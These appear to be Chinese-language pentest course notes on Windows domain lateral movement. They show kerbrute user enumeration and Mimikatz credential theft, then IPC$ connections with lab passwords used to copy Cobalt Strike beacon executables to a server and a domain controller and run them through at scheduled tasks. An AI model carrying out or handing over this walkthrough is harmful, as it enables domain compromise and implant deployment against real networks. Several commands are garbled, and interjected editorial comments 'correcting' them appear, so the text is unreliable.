1.内网横向移动
1、横向移动篇-入口点分析-域内域外打点
2、横向移动篇-IPC利用-连接通讯&计划任务,
3、横向移动篇-IPC利用-命令模式&工具套件
1.1 横向移动入口知识点
收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件,如果当前被控机在域内还是域外,收集方法会有所差异,具体看演示及讲解。
1.1.1、当前被控机处于域内还是域外
1.1.1.1 在域内
这里是演示在域内获取域内用户及凭据的方式,收集完各种凭据信息就可以为下面的IPC横向移动提供使用了
上线webadmin的域用户
域内普通用户抓取不到明文
权限提升
用system权限抓取明文
1.1.1.2不在域内,
不在域内想要收集更多的域内用户及凭据的方法,切换到域内用户 (提权或切换到域内用户),条件:获取到域内用户及凭据
权限提升到system权限可以和域内用户通讯
Ad权限的
Sys权限的
切换为god\webadmin上线
需要正确的账号密码
进程被占用了
1.1.1.2.3kerbrute枚举用户
域内用户枚
举,https://github.com/ropnop/kerbrute,kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件,可以看到在administrator权限下是不能执行收集用户的命令的,这里可以使用kerbrute来代替进行枚举,这是在域外没有提权成功,也没有切换用户,但是还想知道域用户信息就使用这种方法。
注:上述文字中,"1.1.1.2.3"可能是一个错误的编号或者格式,根据上下文,它可能是不小心被包含在内的,真正的信息从"kerbrute枚举用户"开始。同时,"也没有切换用户"前的逗号可能是一个输入错误,应为句号或者其他合适的标点符号。但在这里,为了保持原文的格式和内容,我没有进行更改。
kerbrute_windows_amd64.exe userenum --dc 192.168.3.21 -d god.org user.txt
1.1.2、当前凭据为明文密码还是HASH,Minikatz。
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码,可通过修改注册表的方式进行抓取,但需重启后重新登录时才能抓取。这是2012机器抓取密码的结果。
1.2横向移动凭据知识点
,上面收集完各种凭据信息就是为了横向移动的时候使用的,IPC域内移动测试:,IPC(InternetProcessConnection)是共享"命名管道"的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户,和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账,码,使用139、445端口。,1.2.1IPC横向移动步骤:,1.建立IPC链接到目标主机,2.拷贝要执行的命令脚本到目标主机,3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本,4,删除IPC链接,1.2.2建立IPC失败的原因,
(1)目标系统不是NT或以上的操作系统,
(2)对方没有打开IPC共享,
(3)对方未开启139、445端口,或者被防火墙屏蔽,
(4)输出命令、账号密码有错误,1.2.3使用IPC横向攻击3.32,这里是开启的IPC的地方
1.2.3.1 IPC利用命令:
netuseserver\ipc"password"/user:计算机名\username # 工作组
net use \lserver\ipc,"password" /user:域名\username #域内 dir \\xx.xx.xx.xx\c\ #查看文件列表
copy \xx.xx.xx.xx\C\1.bat 1.bat #下载文件
copy 1.bat \\xx.xx.xx.xx\C # 复制文件(注意:此命令中目标路径似乎有误,应为目录而非文件,可能是想表达将1.bat复制到对方的C共享目录)netusexx.xx.xx.xx\C\ /del # 删除IPC连接(注意:原命令中的“1.bat”应为误写,已更正为“/del”)
net view xx.xx.xx.xx #查看对方共享
请注意,上述命令中的IP地址(xx.xx.xx.xx)、用户名(username)、密码(password)、计算机名和域名均为示例,实际使用时需要替换为真实的信息。同时,执行这些命令需要具备相应的权限,否则可能会失败。另外,复制文件命令中的目标路径已做更正说明。
1.2.3.2域内用户权限测试:
webadmin权限,讲课错误补充:(讲解见后面单独录的视频),
如果是域内用户权限想要建立本地用户的IPC连接的话就需要加上本地的计算机名,
net use 1\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver(administrator,
如果是域内用户权限想要建立域用户的的IPC连接的话就需要加上域名,
net use 1\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin,
如果使用下面的这条命令的话就会理解为登录域里的administrator而不是登录本地的administrator用户,
net use \192.168.3.32\ipc$ "admin!@#45" /user:\administrator,
1.2.3.3域外用户权限测试:
administrator权限,
如果是域外用户想要建立本地IPC连接的话,
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
//登录本机administrator用户,
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
//登录sqlserver机器的administrator用户,
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
//登录god域的administrator用户,
1.2.4目标3.32主机上线配置,
可以先使用之前得到shell,通过文件浏览的方式上传到目标主机3.32上一个木马
1.2.4.1正向shell上线
:beacon_bind_tcp->beacon.exe,connect 192.168.3.32 4444,新建一个监听器
shell net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administraotr
shell copy 4444.exe \\192.168.3.32\c$
上线DC域控
net use \\192.168.3.21\ipc$ "Admin12345" /user:God\administrator
shell copy 4444.exe \\192.168.3.21\c$
防火墙放行139
高级共享开启
net use \\192.168.3.21\ipc$ "Admin12345" /user:God\administrator
建立连接
at命令
1.2.4.1.1计划任务配合,[at]&[schtasks]计划任务配合,1、at<Windows2012,copy beacon.exe 1\192.168.3.21\c$,#拷贝执行文件到目标机器,
at \\192.168.3.21 15:9 c:\4444.exe,#添加计划任务
shell at \\192.168.3.21 15:9 c:\4444.exe
connect 192.168.3.21 4444
DC抓取明文